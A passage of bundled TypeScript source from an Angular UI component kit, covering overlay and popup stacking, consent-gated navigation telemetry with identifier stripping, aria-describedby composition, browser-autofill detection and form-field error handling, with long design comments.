//    Saying so is the only useful thing this code can do about it.\n    if (marked === 0 && this._inertedByUs.size === 0) {\n      svWarnOnce(\n        'overlay-stack:inert-noop',\n        'a blocking overlay is open but nothing could be made inert — the surface is ' +\n          'probably not portalled to <body>, so the page behind it is still focusable ' +\n          'and still in the accessibility tree.',\n      );\n    }\n  }\n\n  private _clearInert(): void {\n    for (const el of this._inertedByUs) el.removeAttribute('inert');\n    this._inertedByUs.clear();\n  }\n\n  private _topDismissibleId(): number | null {\n    for (let i = this._entries.length - 1; i >= 0; i--) {\n      if (this._entries[i].dismissible) return this._entries[i].id;\n    }\n    return null;\n  }\n}\n","import { DestroyRef, effect, inject, signal, untracked, type Signal } from '@angular/core';\nimport { SvOverlayStackService, type SvOverlayHandle, type SvOverlayLayer } from './overlay-stack';\n\nexport interface SvStackedPopupOptions {\n  /** Whether the popup is open. Read inside an effect, so pass a signal read. */\n  readonly open: () => boolean;\n  /**\n   * The popup's rendered panel, for outside-click routing and inertness.\n   * A getter, because a portalled panel usually does not exist yet when the\n   * popup opens — see `SvOverlayPushOptions.element`.\n   */\n  readonly element?: () => Element | null | undefined;\n  /** @default 'anchored' */\n  readonly layer?: SvOverlayLayer;\n}\n\nexport interface SvStackedPopup {\n  /**\n   * Does this popup own Escape right now?\n   *\n   * `true` when it is the topmost dismissible surface — and ALSO when it is\n   * not registered at all (closed, or SSR), so a handler can gate on it\n   * unconditionally: `if (!popup.ownsEscape()) return;`.\n   */\n  ownsEscape(): boolean;\n  /**\n   * Did this pointer event land inside a surface opened ABOVE this popup (a\n   * dialog opened from one of its options, a nested menu)? Such a click is\n   * not \"outside\", and must not close the popup.\n   */\n  isInsideHigherSurface(target: EventTarget | null): boolean;\n  /** z-index from the stack while open, `null` while closed. */\n  readonly zIndex: Signal<number | null>;\n}\n\n/**\n * Put a small popup (a picker, a suggestion list, a select panel) on the\n * overlay stack for exactly as long as it is open (`X-4`, `OF-09-I1`).\n *\n * ★★★ THE DEFECT THIS CLOSES. The form popups each closed on their own\n *     `document:keydown.escape` and `document:mousedown`, and none of them was\n *     on the stack. So the stack's answer to \"who owns Escape?\" skipped them:\n *     a time picker opened inside a modal left the MODAL topmost, the modal's\n *     own keydown (which runs before any document listener) closed the modal,\n *     and one Escape took the picker and the half-filled dialog with it. The\n *     popup was open and the stack did not know.\n *\n * ★★ WHY A HELPER AND NOT FOUR LINES IN EACH COMPONENT. Register on open,\n *    release on close, release on destroy while open — every popup needs the\n *    same three, and the destroy case is the one a hand-written copy forgets\n *    (a picker removed by an `@if` while open would hold Escape forever).\n *\n * Call in an injection context (a field initializer or the constructor).\n */\nexport function svStackedPopup(options: SvStackedPopupOptions): SvStackedPopup {\n  const stack = inject(SvOverlayStackService);\n  const zIndex = signal<number | null>(null);\n  let handle: SvOverlayHandle | null = null;\n\n  const release = (): void => {\n    handle?.release();\n    handle = null;\n    zIndex.set(null);\n  };\n\n  effect(() => {\n    const open = options.open();\n    untracked(() => {\n      if (typeof document === 'undefined') return;\n      if (open && !handle) {\n        handle = stack.push(options.layer ?? 'anchored', { element: options.element });\n        zIndex.set(handle.zIndex);\n      } else if (!open && handle) {\n        release();\n      }\n    });\n  });\n\n  inject(DestroyRef).onDestroy(release);\n\n  return {\n    ownsEscape: () => !handle || handle.isTopmost(),\n    isInsideHigherSurface: (target) =>\n      !!handle && target instanceof Node && handle.isInsideHigherSurface(target),\n    zIndex: zIndex.asReadonly(),\n  };\n}\n","import {\n  InjectionToken,\n  inject,\n  makeEnvironmentProviders,\n  type EnvironmentProviders,\n} from '@angular/core';\nimport { svWarnOnce } from '../dev/warn-once';\n\ndeclare const ngDevMode: boolean | undefined;\n\n/**\n * ============================================================================\n *  Navigation analytics with source and intent — `X-15`\n * ============================================================================\n *\n * The seven navigation families between them emit eleven differently-shaped\n * \"the user moved\" events, and **not one of them says where the move came from\n * or what kind of move it was.** A host that wants to answer \"are people\n * reaching settings through the sidebar or through search?\" has to correlate\n * `(tabChange)`, `(pageChange)`, `(stepChange)`, `(itemToggled)` and four more\n * by hand, in its own vocabulary, and re-do it for every component it adds.\n *\n * `sv-stepper` is the exception and the model: it already emits a dedicated\n * `telemetry` stream with a `type`, a step id and a branch. `X-15` is that\n * stream generalized so the other six can share it.\n *\n * ── ★★★ \"INTENT\" IS INFERRED FROM THE GESTURE, AND THIS FILE SAYS SO OUT LOUD ─\n * The backlog asks for \"what the user appeared to be looking for\". A component\n * cannot know that. What it knows exactly is **what kind of move the gesture\n * was** — stepping forward one, jumping past the middle, opening a panel to\n * look — and that is what {@link SvNavIntent} names. The distinction matters\n * because the alternative is a field called `intent` that a host reads as a\n * statement about a person's goal when it is a statement about a click.\n * `explore` means a panel was opened, not that somebody was browsing.\n *\n * ── ★★ TWO CONSTRAINTS, AND BOTH ARE MECHANISMS RATHER THAN NOTES ────────────\n * The item names two, and a note in a README enforces neither:\n *\n *   1. **Consent gates every event, checked at emit time.** Not at construction\n *      — a user who withdraws consent mid-session must stop being recorded on\n *      the next click, not on the next page load. And the gate lives HERE, so a\n *      component cannot forget it; {@link svNavRecorder} is the only way in.\n *\n *   2. **A key is stripped unless a retention policy was declared.** `key` is\n *      whatever the family navigates by — a tab id, a step id, a page number —\n *      and in a real app those are record identifiers: `orders/8814` is a tab\n *      id and a customer's order. So a sink that does not state a retention\n *      window never receives one. See {@link SvNavRetention}.\n *\n * ── ⚠️ There is no tour telemetry to share a flag with ───────────────────────\n * The item says to \"gate it behind the same consent flag as the tour\n * telemetry\". **There is no such flag in this tree** — `projects/product-tour`\n * emits no telemetry and nothing in `core` holds a consent state; the only\n * privacy contract that exists is `SvAiPrivacyPolicy`, which governs masking\n * rendered content and answers a different question. So the flag is defined\n * here, as part of the sink, rather than imported from somewhere it does not\n * exist — and a tour that later wants telemetry has one to adopt.\n */\n\n// ─── Vocabulary ──────────────────────────────────────────────────────────────\n\n/**\n * Which navigation surface the move came from.\n *\n * The seven shipped families plus the two surfaces that are not components —\n * `link` for a plain anchor a host instruments itself, and `address` for a move\n * that arrived from the URL rather than from anything on screen.\n *\n * ★ Open to a host's own strings on purpose. A dashboard's command palette and\n *   its global search are navigation surfaces too, and the point of the stream\n *   is to compare them against the kit's; a closed union would make the\n *   comparison impossible in exactly the app that most wants it.\n */\nexport type SvNavSurface =\n  | 'tabs'\n  | 'stepper'\n  | 'pagination'\n  | 'breadcrumb'\n  | 'anchor'\n  | 'mega-menu'\n  | 'accordion'\n  | 'jump-menu'\n  | 'sidebar'\n  | 'link'\n  | 'address'\n  | (string & {});\n\n/**\n * What KIND of move the gesture was. Eight values, closed, and each one is\n * something a component can observe rather than guess.\n *\n * - `advance` — one forward through an ordered set. Next, arrow-right, the\n *   Continue button.\n * - `retreat` — one backward through the same set.\n * - `jump` — straight to a named destination, skipping whatever is between. A\n *   page number, a step click, a breadcrumb crumb, an anchor link.\n * - `explore` — a surface was opened to see what is in it, with nothing yet\n *   chosen. A mega-menu panel, an overflow menu, an accordion header.\n * - `resume` — the position came from the address or from restored state, not\n *   from a gesture. A deep link, a back button, a restored wizard.\n * - `refine` — the same set, presented differently. A page-size change.\n * - `escape` — the surface was left without a destination. Escape, a backdrop\n *   click, a dismissal.\n * - `blocked` — the move was asked for and refused. A linear gate, a guard\n *   rule, a disabled step.\n *\n * ★★ `blocked` IS THE ONE THAT PAYS FOR THE REST. Every other value has a\n *    rough equivalent somewhere in a host's existing analytics, because a\n *    successful navigation leaves a trail. A refusal leaves nothing at all: the\n *    user pressed something, nothing happened, and no page view was recorded.\n *    A wizard whose linear gate is misconfigured is invisible to conventional\n *    analytics and obvious in this stream.\n */\nexport type SvNavIntent =\n  | 'advance'\n  | 'retreat'\n  | 'jump'\n  | 'explore'\n  | 'resume'\n  | 'refine'\n  | 'escape'\n  | 'blocked';\n\n/**\n * How long the sink keeps what it is sent — a **documented** window, or `none`.\n *\n * ★★★ `'none'` IS THE DEFAULT AND IT IS LOAD-BEARING, NOT A PLACEHOLDER. A sink\n *     that declares `'none'` still receives every event; what it does not\n *     receive is {@link SvNavEvent.key} or {@link SvNavEvent.label}, because\n *     those are the two fields that can carry a record identifier. Counting how\n *     often people use the sidebar needs no identifier at all, so the default\n *     is the useful analytics with none of the liability.\n *\n * ⚠️ `surfaceId` and `reason` are NOT stripped — \"which surface\" is the point\n *    of the stream. That makes them static by contract: a surface name and a\n *    fixed reason word, never a record id. A dev build warns when a\n *    `surfaceId` sent to a `'none'` sink looks like one.\n *\n * Anything else is a string the host writes and is accountable for — `'30d'`,\n * `'session'`, `'per privacy policy §4'`. It is never parsed and never\n * enforced: this package cannot delete rows in somebody's warehouse. What it\n * can do is make the field impossible to omit, so \"we never decided\" stops\n * being expressible.\n */\nexport type SvNavRetention = 'none' | (string & {});\n\n/**\n * One navigation, as recorded.\n *\n * ⚠️ `key` and `label` are `null` whenever the sink's retention is `'none'`,\n *    whatever the component passed. See {@link SvNavRetention}.\n */\nexport interface SvNavEvent {\n  /** Which family or host surface the move came from. */\n  readonly surface: SvNavSurface;\n  /**\n   * Which instance, when a page has more than one. `null` when the host did\n   * not name it — two sidebars are still both `'sidebar'`.\n   *\n   * ★ **A static surface name — `'primary-nav'`, `'settings-tabs'` — never a\n   *   record id.** It is sent under every retention, `'none'` included, so an\n   *   id built from data (`'order-8814-tabs'`, a UUID) would carry exactly what\n   *   the retention strip exists to keep out. A dev build warns when one looks\n   *   like that.\n   */\n  readonly surfaceId: string | null;\n  /** What kind of move it was. See {@link SvNavIntent}. */\n  readonly intent: SvNavIntent;\n  /** What the family navigates by — a tab id, a step id, a page number. */\n  readonly key: string | null;\n  /** The human-readable label of the destination, when the surface has one. */\n  readonly label: string | null;\n  /** Position within the set, when the set is ordered. */\n  readonly index: number | null;\n  /**\n   * Why, for the intents that have a why. `blocked` carries the gate that\n   * refused (`'linear'`, `'guard'`, `'disabled'`); `escape` carries how the\n   * surface was left.\n   *\n   * A fixed vocabulary word, like `surfaceId` never stripped — so never\n   * user or record data.\n   */\n  readonly reason: string | null;\n  /** `Date.now()` at the moment the event was recorded. */\n  readonly at: number;\n}\n\n/**\n * What a component passes. The surface and the timestamp are the recorder's, so\n * the only required field is the one thing a component alone can know.\n */\nexport interface SvNavEventDraft {\n  readonly intent: SvNavIntent;\n  readonly key?: string | null;\n  readonly label?: string | null;\n  readonly index?: number | null;\n  readonly reason?: string | null;\n}\n\n// ─── The sink ────────────────────────────────────────────────────────────────\n\n/** Where navigation events go, and under what terms. */\nexport interface SvNavTelemetry {\n  /** Names the implementation, for diagnostics only. */\n  readonly kind: string;\n  /**\n   * How long this sink keeps an identifier. `'none'` strips `key` and `label`\n   * before the sink sees them. See {@link SvNavRetention}.\n   */\n  readonly retention: SvNavRetention;\n  /**\n   * May anything be recorded right now?\n   *\n   * ★ A function, not a boolean, and consulted per event — a consent banner\n   *   answered halfway through a session has to take effect on the next click.\n   */\n  consent(): boolean;\n  /** Receive one event. Never called when {@link consent} returns `false`. */\n  record(event: SvNavEvent): void;\n}\n\n/**\n * The default: nothing is collected.\n *\n * ★ And unlike the default link adapter it does **not** warn. A missing link\n *   adapter is a regression the host cannot see; a missing telemetry sink is\n *   the correct state for every app that did not ask for analytics, which is\n *   most of them. Nagging about not collecting data has the ethics backwards.\n */\nexport function svNoopNavTelemetry(): SvNavTelemetry {\n  return {\n    kind: 'noop',\n    retention: 'none',\n    consent: () => false,\n    record: () => undefined,\n  };\n}\n\nexport const SV_NAV_TELEMETRY = new InjectionToken<SvNavTelemetry>('SV_NAV_TELEMETRY', {\n  providedIn: 'root',\n  factory: svNoopNavTelemetry,\n});\n\n/**\n * Provide a sink for the whole app.\n *\n * ```ts\n * provideSvNavTelemetry(() => {\n *   const consent = inject(ConsentService);\n *   return {\n *     kind: 'segment',\n *     retention: '30d',\n *     consent: () => consent.analytics(),\n *     record: (e) => analytics.track('navigation', e),\n *   };\n * })\n * ```\n */\nexport function provideSvNavTelemetry(factory: () => SvNavTelemetry): EnvironmentProviders {\n  return makeEnvironmentProviders([{ provide: SV_NAV_TELEMETRY, useFactory: factory }]);\n}\n\n// ─── What a component holds ──────────────────────────────────────────────────\n\n/** A component's handle on the stream. One per component instance. */\nexport interface SvNavRecorder {\n  /** True when a sink is present AND consent is currently granted. */\n  enabled(): boolean;\n  /** Record one move. A no-op when {@link enabled} is false. */\n  record(draft: SvNavEventDraft): void;\n}\n\n/**\n * Get a recorder for one surface. Call in an injection context.\n *\n * ```ts\n * private readonly nav = svNavRecorder('stepper', () => this.surfaceId());\n * …\n * this.nav.record({ intent: 'blocked', key: step.item.id, index: step.index, reason });\n * ```\n *\n * ★★ THE CONSENT CHECK HAPPENS BEFORE THE PAYLOAD IS BUILT, and that ordering\n *    is the difference between a rule and a mechanism. Building the object and\n *    then dropping it would mean the identifier had already been read out of\n *    the host's data — harmless in-process, but it leaves the retention rule\n *    with nowhere to be enforced and makes the cheap path (no consent) do all\n *    the work of the expensive one. Here a withheld consent costs one call.\n */\nexport function svNavRecorder(\n  surface: SvNavSurface,\n  surfaceId?: () => string | null | undefined,\n): SvNavRecorder {\n  const sink = inject(SV_NAV_TELEMETRY);\n  return svNavRecorderFrom(sink, surface, surfaceId);\n}\n\n/**\n * Does `surfaceId` look like it was built from a record rather than named?\n *\n * A heuristic for a dev warning, not a filter: a UUID, a long hex run (an\n * ObjectId, a hash), four or more digits in a row (`order-8814`), or a\n * digits-only path segment (`orders/42`). Short ordinals like `'tabs-2'` pass —\n * numbering two instances on a page is what the field is for.\n */\nconst RECORD_ID_PATTERN =\n  /[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}|[0-9a-f]{16,}|\\d{4,}|(?:^|[/:])\\d+(?:[/:]|$)/i;\n\n/**\n * The same thing without the injection context — for tests, and for a host\n * composing a recorder around a sink it already holds.\n */\nexport function svNavRecorderFrom(\n  sink: SvNavTelemetry,\n  surface: SvNavSurface,\n  surfaceId?: () => string | null | undefined,\n): SvNavRecorder {\n  const keepsIdentifiers = sink.retention !== 'none';\n\n  if (keepsIdentifiers && sink.kind !== 'noop') {\n    // Not an error — a stated window is exactly what the contract asks for.\n    // The warning exists because `retention` is a promise made to a user by a\n    // host that may have typed a string to get past a required field.\n    svWarnOnce(\n      `sv-nav-telemetry/${sink.kind}`,\n      `Navigation telemetry sink \"${sink.kind}\" declares retention \"${sink.retention}\", so ` +\n        'navigation keys and labels are sent to it. Those can be record identifiers ' +\n        '(a tab id is often a route segment). Confirm the window is one your privacy ' +\n        'policy states, or set retention: \"none\" to have them stripped.',\n    );\n  }\n\n  return {\n    enabled: () => sink.consent(),\n\n    record(draft: SvNavEventDraft): void {\n      // ★ Consent first, before anything is read or allocated.\n      if (!sink.consent()) return;\n\n      const id = surfaceId?.() ?? null;\n      if (\n        !keepsIdentifiers &&\n        id !== null &&\n        typeof ngDevMode !== 'undefined' &&\n        ngDevMode &&\n        RECORD_ID_PATTERN.test(id)\n      ) {\n        svWarnOnce(\n          `sv-nav-telemetry/surface-id/${surface}`,\n          `Navigation telemetry surfaceId \"${id}\" (surface \"${surface}\") looks like a record ` +\n            'identifier. surfaceId is sent even under retention \"none\", so it must be a static ' +\n            'surface name (\"settings-tabs\"), never an id built from data.',\n        );\n      }\n\n      sink.record({\n        surface,\n        surfaceId: id,\n        intent: draft.intent,\n        // ★★ The strip. A component passes the key unconditionally — it cannot\n        //    be expected to know the sink's terms — and the terms are applied\n        //    in exactly one place.\n        key: keepsIdentifiers ? (draft.key ?? null) : null,\n        label: keepsIdentifiers ? (draft.label ?? null) : null,\n        index: draft.index ?? null,\n        reason: draft.reason ?? null,\n        at: Date.now(),\n      });\n    },\n  };\n}\n","/**\n * The parts of a form control's description, in the order a reader wants them.\n *\n * Every field is `false`/`null`/`''` when that part is not rendered — pass the\n * same condition the template uses to render it, so an id can never name an\n * element that is not there. `aria-describedby` pointing at a missing id is not\n * an error anyone sees; the description is simply, silently, not announced.\n */\nexport interface SvDescribedByParts {\n  /**\n   * The standing instruction under the field — \"We'll only use this to send\n   * your receipt.\"\n   *\n   * First, because it is the only part that is true before the user does\n   * anything, and the one that stops them making the mistake the other two\n   * report.\n   */\n  readonly hint?: string | false | null;\n  /**\n   * What is wrong with the value right now.\n   *\n   * Second. It is the most urgent part, but a reader who hears it before the\n   * instruction has to hold it in mind while the instruction arrives — and the\n   * instruction is usually what makes the error make sense. This is also the\n   * order GOV.UK's Design System settled on, and matching a widely-used\n   * convention is worth more here than a marginally different opinion.\n   */\n  readonly error?: string | false | null;\n  /**\n   * A live constraint that changes as the user types — \"35 characters\n   * remaining\".\n   *\n   * Last, deliberately. It is a `aria-live` region in its own right, so it will\n   * announce itself when it changes; its place here is only so that someone\n   * ARRIVING at the field is told a limit exists at all. Putting it first would\n   * mean every visit begins with a number.\n   */\n  readonly count?: string | false | null;\n  /**\n   * Anything else this control describes itself with, appended in the order\n   * given — a lock reason, a format example, a failed-write message.\n   */\n  readonly extra?: readonly (string | false | null | undefined)[];\n}\n\n/**\n * Compose one `aria-describedby` from every part of a field's description.\n *\n * ── The bug this exists for ─────────────────────────────────────────────────\n * `aria-describedby` takes a **list**, and almost nothing in this kit was\n * treating it as one. The overwhelmingly common shape was\n *\n * ```html\n * [attr.aria-describedby]=\"fieldError.showError() ? errorId() : null\"\n * ```\n *\n * which is not \"describe this field\" — it is \"describe this field with the\n * error INSTEAD of the hint\". A field with both a standing instruction and a\n * live rejection announced one of them, and which one depended on which\n * condition the author happened to write first. The counter had the same\n * problem from the other side: rendered, styled, given `aria-live` so it\n * announced every keystroke, and never mentioned to someone arriving at the\n * field, so they were told a limit existed only by exceeding it.\n *\n * Both are invisible to every gate and to every test that asserts a single id,\n * which is why this is a shared function rather than a review note.\n *\n * ── The order, and why it is fixed here ─────────────────────────────────────\n * **hint → error → count.** Each call site choosing its own order is how a kit\n * ends up with fields that read differently for no reason a user could name, so\n * the order is a property of this function and not of its callers. `extra`\n * exists for the parts only one component has.\n *\n * @example\n * ```ts\n * protected readonly describedBy = computed(() =>\n *   svDescribedBy({\n *     hint: this.hasDescription() && this.descId(),\n *     error: this.fieldError.showError() && this.errorId(),\n *     count: this.showCounter() && this.counterId(),\n *   }),\n * );\n * ```\n * ```html\n * <input [attr.aria-describedby]=\"describedBy()\" />\n * ```\n *\n * @returns The ids joined by a space, or `null` when there are none — never an\n *   empty string, because `aria-describedby=\"\"` is a present attribute naming\n *   nothing, and some assistive tech treats that differently from an absent one.\n */\nexport function svDescribedBy(parts: SvDescribedByParts): string | null {\n  const ids = [parts.hint, parts.error, parts.count, ...(parts.extra ?? [])]\n    .filter((id): id is string => typeof id === 'string' && id.trim().length > 0);\n\n  // De-duplicated because a control that describes itself with one id twice\n  // makes some readers announce it twice, and the caller cannot always tell:\n  // `extra` is often built from a list the host supplies.\n  const unique = [...new Set(ids)];\n  return unique.length > 0 ? unique.join(' ') : null;\n}\n","import {\n  CSP_NONCE,\n  Directive,\n  ElementRef,\n  PLATFORM_ID,\n  inject,\n  output,\n  signal,\n} from '@angular/core';\nimport { isPlatformBrowser } from '@angular/common';\n\n/**\n * Name of the keyframes that fire when a control ENTERS the autofilled state.\n * Exported so a host can recognise the event if it listens itself.\n */\nexport const SV_AUTOFILL_START = 'sv-autofill-start';\n/** Name of the keyframes that fire when a control LEAVES the autofilled state. */\nexport const SV_AUTOFILL_END = 'sv-autofill-end';\n\n/**\n * The stylesheet, injected once per document.\n *\n * Both keyframes are **empty** — `from {} to {}`. They animate nothing and are\n * never visible; they exist only because entering or leaving `:autofill`\n * restarts an animation, and `animationstart` is the one event the browser\n * fires for a fill that fires no input event. Nothing here is affected by\n * `prefers-reduced-motion`, because nothing here moves.\n *\n * ── Scoped to `[svAutofill]`, and that is not cosmetic ──────────────────────\n *\n * ⚠️ The first draft matched `input, textarea, select`. Measured against real\n *    Chromium, that **trampled a consumer's own animation on their own input**:\n *    `input:not(:-webkit-autofill)` is specificity (0,1,1) and beats a plain\n *    `.my-spinner` at (0,1,0), so `animation-name` was overwritten on every\n *    text input in the host application, kit-owned or not. Scoping to the\n *    attribute limits the blast radius to controls that opted in.\n *\n *    The remaining limitation, measured the same way: on a control that DOES\n *    carry `svAutofill`, this wins over a host's `animation-name`. Animate a\n *    wrapper rather than the native control itself.\n */\nconst STYLE = `\n@keyframes ${SV_AUTOFILL_START} { from {} to {} }\n@keyframes ${SV_AUTOFILL_END} { from {} to {} }\n[svAutofill]:-webkit-autofill {\n  animation-name: ${SV_AUTOFILL_START};\n  animation-duration: 1ms;\n}\n[svAutofill]:not(:-webkit-autofill) {\n  animation-name: ${SV_AUTOFILL_END};\n  animation-duration: 1ms;\n}\n`;\n\n/** Documents this stylesheet has already been added to. */\nconst INSTALLED = new WeakSet<Document>();\n\nfunction installStyles(doc: Document, nonce: string | null): void {\n  if (INSTALLED.has(doc)) return;\n  INSTALLED.add(doc);\n  const el = doc.createElement('style');\n  // Honoured when the app sets Angular's CSP_NONCE. Without it a strict\n  // `style-src` policy drops the sheet, the animation never runs, and the\n  // detector silently reports \"never autofilled\" — the pre-existing behaviour,\n  // so a strict-CSP app is no worse off than before, only not better.\n  if (nonce) el.setAttribute('nonce', nonce);\n  el.textContent = STYLE;\n  doc.head.appendChild(el);\n}\n\n/**\n * Report whether this control has been filled by the browser.\n *\n * ── Why this cannot be done with an event listener ───────────────────────────\n *\n * ★★ CHROME'S PAGE-LOAD AUTOFILL FIRES NO `input` EVENT. It sets the element's\n *    `value` directly and marks it `:autofill`; the `input` event arrives later,\n *    on the user's first interaction — or never, if they submit without\n *    touching the field. Everything downstream that is driven by a signal fed\n *    from `(input)` is therefore stale at exactly the moment the field is\n *    full: a floating label sits on top of the filled text, a \"clear\" button\n *    stays hidden, a character counter reads zero.\n *\n *    There is no event for it. What there IS: entering `:autofill` restarts any\n *    animation the selector declares, which fires `animationstart` — a real\n *    event, on the element, at the right moment. The keyframes above animate\n *    nothing; they are a notification channel wearing an animation's clothes.\n *    This is the standard technique for the same reason everywhere: it is the\n *    only one.\n *\n * ── What it does NOT tell you ───────────────────────────────────────────────\n *\n * The element's `value` is readable, but a password field filled on load is\n * masked to script until the user interacts with the page — `el.value` comes\n * back empty. So treat this as \"the browser has put something here\", which is\n * what a label needs to know, and not as a value.\n *\n * ```html\n * <input #inputEl svAutofill />\n * ```\n * ```ts\n * private readonly autofill = viewChild(SvAutofillDirective);\n * readonly labelIsFloated = computed(() =>\n *   this.isFocused() || !!this.value() || !!this.autofill()?.autofilled(),\n * );\n * ```\n */\n@Directive({\n  selector: '[svAutofill]',\n  standalone: true,\n  host: {\n    '(animationstart)': '_onAnimationStart($event)',\n    '(input)': '_onInput($event)',\n  },\n})\nexport class SvAutofillDirective {\n  private readonly el = inject<ElementRef<HTMLElement>>(ElementRef);\n  private readonly nonce = inject(CSP_NONCE, { optional: true });\n  private readonly platformId = inject(PLATFORM_ID);\n\n  private readonly _autofilled = signal(false);\n\n  /** Whether the browser has filled this control. */\n  readonly autofilled = this._autofilled.asReadonly();\n\n  /** Emitted when the autofilled state changes. */\n  readonly autofillChange = output<boolean>();\n\n  constructor() {\n    if (!isPlatformBrowser(this.platformId)) return;\n\n    // ── There is deliberately no `el.matches(':autofill')` probe here ──────\n    //\n    // The obvious worry is a fill that landed before this directive existed,\n    // with its animation already started and its event already missed. It\n    // cannot happen: the stylesheet that declares the animation is installed by\n    // THIS constructor, and a CSS animation begins when its declaration begins\n    // to apply — so for an element that is already filled, the animation starts\n    // the moment the sheet lands, which is after the listener is attached.\n    //\n    // Worth recording because the probe was written first, and jsdom answers\n    // `true` to `matches(':autofill')` for EVERY input — a pseudo-class it does\n    // not implement but does parse. Every text field in the kit reported itself\n    // autofilled under test. The redundant line was the whole bug.\n    installStyles(this.el.nativeElement.ownerDocument, this.nonce);\n  }\n\n  protected _onAnimationStart(event: AnimationEvent): void {\n    if (event.animationName === SV_AUTOFILL_START) this._set(true);\n    else if (event.animationName === SV_AUTOFILL_END) this._set(false);\n  }\n\n  /**\n   * The user typed, so whatever the browser put here is no longer what is in\n   * the field — and the host's own value signal is authoritative again.\n   *\n   * Not left to the `:autofill` end-animation alone: browsers differ on whether\n   * editing an autofilled field clears the state, and a label that stayed\n   * floated because of a fill the user has since replaced is reporting\n   * something that is no longer true.\n   *\n   * ★★ ONLY AN `InputEvent` IS THE USER. Measured in Chrome 153\n   *    (`scripts/probes/autofill-real-chrome.mjs`): a page-load password fill\n   *    fires `animationstart` and THEN a trusted `input` per field — a plain\n   *    `Event`, not an `InputEvent`. Treating that as typing flipped\n   *    `autofilled()` back to `false` while the field was still filled. Typing,\n   *    deleting, pasting and dropping all arrive as `InputEvent`s.\n   */\n  protected _onInput(event: Event): void {\n    if (typeof InputEvent !== 'undefined' && !(event instanceof InputEvent)) return;\n    this._set(false);\n  }\n\n  private _set(next: boolean): void {\n    if (this._autofilled() === next) return;\n    this._autofilled.set(next);\n    this.autofillChange.emit(next);\n  }\n}\n","import { computed, linkedSignal, untracked, type Signal } from '@angular/core';\n\n/** What a host may pass as a server-reported error: a message, or an object carrying one. */\nexport type SvServerError = string | { readonly message: string } | null | undefined;\n\nexport interface SvFieldError {\n  /** The message the error slot should render — server first, then client. */\n  readonly resolvedError: Signal<string>;\n  /** Whether there is anything to render. */\n  readonly showError: Signal<boolean>;\n}\n\n/**\n * The validation-error contract shared by every form control in the kit.\n *\n * Two inputs, deliberately separate, because they expire differently:\n *\n * - `errorMessage` is the host's own client-side validation. It has no expiry;\n *   the host clears it when it decides the field is valid.\n * - `serverError` came back from a request about a SPECIFIC value (\"that email\n *   is already taken\"). The moment the user edits the field, that statement is\n *   about a value which no longer exists, and continuing to show it is telling\n *   the user something false about what they are currently looking at. So it is\n *   anchored to the value it was reported against and self-expires on the next\n *   edit — which is also why the host cannot be asked to manage it by hand.\n *\n * While live, `serverError` outranks `errorMessage`: it is the more specific\n * fact about this value.\n *\n * This logic was independently written out in 8 components before it lived\n * anywhere; each copy is a chance for one of them to keep showing a stale\n * rejection. Pair with `<sv-field-error>` for the rendering half.\n *\n * **One caveat worth knowing.** Signals are pull-based, so the anchor is captured\n * the first time the error is READ after `serverError` changes, not at the moment\n * it is written. In a rendered control those are the same change-detection pass,\n * which is why it has never mattered — but a host that writes `serverError` and\n * `value` together, with nothing reading in between, anchors to the second write\n * and the rejection stays visible against a value it was not about. Pinned in\n * `field-error.spec.ts` under \"anchors when the error is first READ\".\n *\n * @example\n * protected readonly fieldError = createFieldError(this.value, this.serverError, this.errorMessage);\n * // template: <sv-field-error [id]=\"describedById()\" [message]=\"fieldError.resolvedError()\" />\n */\nexport function createFieldError(\n  value: Signal<unknown>,\n  serverError: Signal<SvServerError>,\n  errorMessage: Signal<string>,\n): SvFieldError {\n  // The value the current serverError was reported against. Recomputed only\n  // when serverError itself changes — reading `value` untracked is what stops\n  // the anchor from chasing every keystroke.\n  const anchor = linkedSignal<SvServerError, unknown>({\n    source: serverError,\n    computation: () => untracked(() => value()),\n  });\n\n  const live = computed(() => {\n    const e = serverError();\n    if (!e) return '';\n    if (value() !== anchor()) return '';\n    return typeof e === 'string' ? e : e.message;\n  });\n\n  const resolvedError = computed(() => live() || errorMessage());\n  return { resolvedError, showError: computed(() => !!resolvedError()) };\n}\n","import { ChangeDetectionStrategy, Component, input } from '@angular/core';\nimport { SvIconComponent } from '@styloviz/icons';\n\n/**\n * The one-line validation-error slot every form control renders.\n *\n * `role=\"alert\"` so a rejection that appears after the fact is announced rather\n * than sitting silently below a field the user has already left — the whole\n * point of a server error. The element is not rendered at all when there is no\n * message, so an empty alert region never lingers in the accessibility tree.\n *\n * Pair the `id` with the control's `aria-describedby`, and set `aria-invalid`\n * on the control itself — this component cannot do either for you, since it\n * does not own the input element.\n */\n@Component({\n  selector: 'sv-field-error',\n  standalone: true,\n  imports: [SvIconComponent],\n  changeDetection: ChangeDetectionStrategy.OnPush,\n  template: `\n    @if (message()) {\n      <p\n        [attr.id]=\"id() || null\"\n        role=\"alert\"\n        class=\"flex items-center gap-1 text-xs font-medium text-danger-600 dark:text-danger-400\"\n      >\n        <sv-icon name=\"alert-circle\" cssClass=\"h-3.5 w-3.5 shrink-0\" [strokeWidth]=\"2\" />\n        {{ message() }}\n      </p>\n    }\n  `,\n})\nexport class SvFieldErrorComponent {\n  /** Message to show. Empty renders nothing. */\n  message = input<string>('');\n  /** Id for the control's `aria-describedby` to point at. */\n  id = input<string>('');\n}\n","/**\n * Mentions: finding the trigger, and keeping the token honest.\n *\n * Two separate problems live here, and only the first one is the one people\n * build.\n *\n * ── 1. Which trigger is active, and what has been typed after it ───────────\n *\n * A string-level scan of the text before the caret. It is extracted rather than\n * inlined because two components need exactly this rule — `sv-mention` (a\n * single-line contenteditable) and `sv-rich-text-editor` — and the second copy\n * of a rule like this always drifts from the first.\n *\n * ── 2. ★★★ THE INSERTED MENTION IS AN EDITABLE STRING, AND THAT IS THE DEFECT\n *      EVERY RICH-TEXT MENTION SHIPS ───────────────────────────────────────\n *\n * Insert `@Priya Sharma` as a styled span and the document now contains twelve\n * characters the user can edit one at a time. One backspace leaves\n * `@Priya Sharm` — which still looks like a mention, still carries the data\n * attribute naming Priya's user id, and now displays a name that is not hers.\n * The host persists it. A notification is addressed to a person whose name the\n * document renders incorrectly, or a permission check reads an id whose label\n * nobody would recognise.\n *\n * `contenteditable=\"false\"` is necessary and NOT sufficient. Browsers still\n * allow the inside of such a node to change: a drag-and-drop into it, an IME\n * composition that spans its boundary, several mobile keyboards' autocorrect,\n * and a paste over a selection that partially covers it. So the token carries\n * its label as data, and `svTokenIntegrity` re-derives the answer from what is\n * actually in the DOM — because the only trustworthy statement about a mention\n * is one that compares the rendered text against 